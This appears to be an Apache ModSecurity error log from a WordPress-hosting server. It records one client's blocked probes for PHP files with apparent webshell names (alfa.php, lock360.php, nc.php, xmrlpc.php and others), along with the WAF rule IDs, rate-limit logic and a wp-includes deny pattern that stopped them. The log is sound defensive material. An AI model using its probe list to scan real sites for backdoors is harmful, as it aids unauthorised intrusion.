[Sat Dec 20 20:44:18.755543 2025] [:error] [pid 14286:tid 14297] [client 4.197.92.49:41414] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aUaaIp7rbXIrw6rGSdZubwAAAUc"]
[Sat Dec 20 20:44:19.062432 2025] [:error] [pid 33793:tid 33804] [client 4.197.92.49:1223] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aUaaI1SicyB0BFmbRMzIBwAAAsk"]
[Sat Dec 20 20:44:20.339716 2025] [:error] [pid 14247:tid 14260] [client 4.197.92.49:1232] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aUaaJCDv9TtKKdJQn9kJHgAAAQs"]
[Sat Dec 20 20:44:22.835023 2025] [:error] [pid 14286:tid 14291] [client 4.197.92.49:36653] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aUaaJp7rbXIrw6rGSdZucQAAAUE"]
[Sat Dec 20 20:44:25.696838 2025] [:error] [pid 18807:tid 18816] [client 4.197.92.49:48723] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aUaaKWRP9n5OCTllYeUJGwAAAYc"]
[Sat Dec 20 20:44:26.592182 2025] [:error] [pid 39493:tid 39552] [client 4.197.92.49:45128] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aUaaKmhjL2VG_FmIHqDsbwAAAIM"]
[Sat Dec 20 20:44:27.998559 2025] [:error] [pid 33844:tid 33860] [client 4.197.92.49:36087] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUaaKyaNtwGsyqqVmQHpvgAAAw4"]
[Sat Dec 20 20:44:30.311117 2025] [:error] [pid 33749:tid 33774] [client 4.197.92.49:39145] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUaaLtoInXJnb96wei9GzwAAApc"]
[Sat Dec 20 20:44:32.429883 2025] [:error] [pid 33687:tid 33714] [client 4.197.92.49:1061] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUaaMDYMR4qK1N4g7vjCCwAAAlg"]
[Sat Dec 20 20:44:33.633964 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:41422] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aUaaMSDv9TtKKdJQn9kJIgAAAQI"]
[Sat Dec 20 20:44:35.420782 2025] [:error] [pid 33793:tid 33798] [client 4.197.92.49:39124] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUaaM1SicyB0BFmbRMzIDQAAAsM"]
[Sat Dec 20 20:44:37.824423 2025] [:error] [pid 33749:tid 33772] [client 4.197.92.49:1051] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUaaNdoInXJnb96wei9G1AAAApU"]
[Sat Dec 20 20:44:38.825057 2025] [:error] [pid 33687:tid 33705] [client 4.197.92.49:41042] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUaaNjYMR4qK1N4g7vjCDgAAAk8"]
[Sat Dec 20 20:44:40.528772 2025] [:error] [pid 39577:tid 39590] [client 4.197.92.49:41045] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aUaaOLviRnt1rJiSOfxUFQAAAMs"]
[Sat Dec 20 20:44:41.883688 2025] [:error] [pid 33570:tid 33591] [client 4.197.92.49:45196] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUaaOYTNveA-c6YcSrICWAAAAc8"]
[Sat Dec 20 20:44:46.012534 2025] [:error] [pid 33687:tid 33695] [client 4.197.92.49:38313] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUaaPjYMR4qK1N4g7vjCEwAAAkU"]
[Sat Dec 20 20:44:46.354789 2025] [:error] [pid 18807:tid 18823] [client 4.197.92.49:36604] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUaaPmRP9n5OCTllYeUJKQAAAY4"]
[Sat Dec 20 20:44:47.222218 2025] [:error] [pid 33687:tid 33706] [client 4.197.92.49:45194] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aUaaPzYMR4qK1N4g7vjCFgAAAlA"]
[Sat Dec 20 20:44:48.622861 2025] [:error] [pid 14247:tid 14264] [client 4.197.92.49:42023] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUaaQCDv9TtKKdJQn9kJMwAAAQ8"]
[Sat Dec 20 20:44:49.191176 2025] [:error] [pid 14247:tid 14250] [client 4.197.92.49:37323] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUaaQSDv9TtKKdJQn9kJNAAAAQE"]
[Sat Dec 20 20:44:50.364907 2025] [:error] [pid 18807:tid 18816] [client 4.197.92.49:2017] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUaaQmRP9n5OCTllYeUJLAAAAYc"]
[Sat Dec 20 20:44:51.016919 2025] [:error] [pid 39493:tid 39558] [client 4.197.92.49:43064] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aUaaQ2hjL2VG_FmIHqDshAAAAIk"]
[Sat Dec 20 20:44:52.053748 2025] [:error] [pid 18807:tid 18822] [client 4.197.92.49:45125] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUaaRGRP9n5OCTllYeUJLwAAAY0"]
[Sat Dec 20 20:44:52.540613 2025] [:error] [pid 33749:tid 33764] [client 4.197.92.49:1258] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUaaRNoInXJnb96wei9G2AAAAo0"]
[Sat Dec 20 20:44:55.418918 2025] [:error] [pid 33687:tid 33692] [client 4.197.92.49:45232] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUaaRzYMR4qK1N4g7vjCHAAAAkI"]
[Sat Dec 20 20:44:56.201077 2025] [:error] [pid 39577:tid 39592] [client 4.197.92.49:43039] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/num.php"] [unique_id "aUaaSLviRnt1rJiSOfxUJgAAAM0"]
[Sat Dec 20 20:44:56.871257 2025] [:error] [pid 33687:tid 33705] [client 4.197.92.49:39707] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUaaSDYMR4qK1N4g7vjCHwAAAk8"]
[Sat Dec 20 20:45:00.235456 2025] [:error] [pid 33570:tid 33579] [client 4.197.92.49:2004] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUaaTITNveA-c6YcSrICXgAAAcM"]
[Sat Dec 20 20:45:00.733563 2025] [:error] [pid 33687:tid 33695] [client 4.197.92.49:36065] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUaaTDYMR4qK1N4g7vjCIwAAAkU"]
[Sat Dec 20 20:45:01.568388 2025] [:error] [pid 14286:tid 14297] [client 4.197.92.49:40796] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aUaaTZ7rbXIrw6rGSdZungAAAUc"]
[Sat Dec 20 20:45:01.935869 2025] [:error] [pid 33793:tid 33813] [client 4.197.92.49:45729] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "aUaaTVSicyB0BFmbRMzIHAAAAtI"]
[Sat Dec 20 20:45:10.935620 2025] [:error] [pid 33749:tid 33772] [client 4.197.92.49:48029] [client 4.197.92.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aUaaVtoInXJnb96wei9G6AAAApU"]
[Sat Dec 20 20:45:22.429181 2025] [:error] [pid 39493:tid 39557] [client 4.197.92.49:1122] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aUaaYmhjL2VG_FmIHqDsnQAAAIg"]
[Sat Dec 20 20:45:23.716535 2025] [:error] [pid 33749:tid 33751] [client 4.197.92.49:1670] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aUaaY9oInXJnb96wei9G-gAAAoA"]
[Sat Dec 20 20:45:24.806861 2025] [:error] [pid 39493:tid 39559] [client 4.197.92.49:38776] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aUaaZGhjL2VG_FmIHqDsoAAAAIo"]
[Sat Dec 20 20:45:26.220759 2025] [:error] [pid 14247:tid 14249] [client 4.197.92.49:45674] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc.php"] [unique_id "aUaaZiDv9TtKKdJQn9kJVAAAAQA"]
[Sat Dec 20 20:45:27.786403 2025] [:error] [pid 14286:tid 14306] [client 4.197.92.49:41068] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUaaZ57rbXIrw6rGSdZuuAAAAVA"]
[Sat Dec 20 20:45:28.626000 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:41526] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUaaaCDv9TtKKdJQn9kJVgAAAQI"]
[Sat Dec 20 20:45:29.245494 2025] [:error] [pid 33844:tid 33859] [client 4.197.92.49:36433] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUaaaSaNtwGsyqqVmQHp4QAAAw0"]
[Sat Dec 20 20:45:29.707920 2025] [:error] [pid 33687:tid 33700] [client 4.197.92.49:39139] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file1.php"] [unique_id "aUaaaTYMR4qK1N4g7vjCOwAAAko"]
[Sat Dec 20 20:45:30.422362 2025] [:error] [pid 33749:tid 33775] [client 4.197.92.49:39138] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aUaaatoInXJnb96wei9HAQAAApg"]
[Sat Dec 20 20:45:33.461783 2025] [:error] [pid 33687:tid 33698] [client 4.197.92.49:51338] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aUaabTYMR4qK1N4g7vjCPwAAAkg"]
[Sat Dec 20 20:45:35.307216 2025] [:error] [pid 33749:tid 33755] [client 4.197.92.49:42972] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aUaab9oInXJnb96wei9HCQAAAoQ"]
[Sat Dec 20 20:45:36.199496 2025] [:error] [pid 33687:tid 33710] [client 4.197.92.49:48393] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aUaacDYMR4qK1N4g7vjCRQAAAlQ"]
[Sat Dec 20 20:45:37.218688 2025] [:error] [pid 33749:tid 33770] [client 4.197.92.49:45639] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aUaacdoInXJnb96wei9HCgAAApM"]
[Sat Dec 20 20:45:38.421206 2025] [:error] [pid 33687:tid 33691] [client 4.197.92.49:51672] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aUaacjYMR4qK1N4g7vjCTAAAAkE"]
[Sat Dec 20 20:45:39.802950 2025] [:error] [pid 33844:tid 33868] [client 4.197.92.49:43024] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aUaacyaNtwGsyqqVmQHp6wAAAxY"]
[Sat Dec 20 20:45:40.779593 2025] [:error] [pid 14247:tid 14251] [client 4.197.92.49:48441] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "aUaadCDv9TtKKdJQn9kJXgAAAQI"]
[Sat Dec 20 20:45:41.662689 2025] [:error] [pid 18807:tid 18826] [client 4.197.92.49:49507] [client 4.197.92.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aUaadWRP9n5OCTllYeUJWAAAAZE"]
[Sat Dec 20 20:45:42.709488 2025] [:error] [pid 33793:tid 33818] [client 4.197.92.49:50581] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aUaadlSicyB0BFmbRMzIQQAAAtc"]
[Sat Dec 20 20:45:43.009767 2025] [:error] [pid 33844:tid 33857] [client 4.197.92.49:50952] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aUaadyaNtwGsyqqVmQHp7wAAAws"]
[Sat Dec 20 20:45:45.526668 2025] [:error] [pid 39577:tid 39599] [client 4.197.92.49:36129] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aUaaebviRnt1rJiSOfxUZQAAANQ"]
[Sat Dec 20 20:45:47.894389 2025] [:error] [pid 33749:tid 33768] [client 4.197.92.49:39106] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aUaae9oInXJnb96wei9HFAAAApE"]
[Sat Dec 20 20:45:49.032425 2025] [:error] [pid 18807:tid 18813] [client 4.197.92.49:41128] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aUaafWRP9n5OCTllYeUJYAAAAYQ"]
[Sat Dec 20 20:45:50.384713 2025] [:error] [pid 14247:tid 14261] [client 4.197.92.49:43058] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aUaafiDv9TtKKdJQn9kJaAAAAQw"]
[Sat Dec 20 20:45:51.499171 2025] [:error] [pid 33570:tid 33580] [client 4.197.92.49:51263] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aUaaf4TNveA-c6YcSrIChAAAAcQ"]
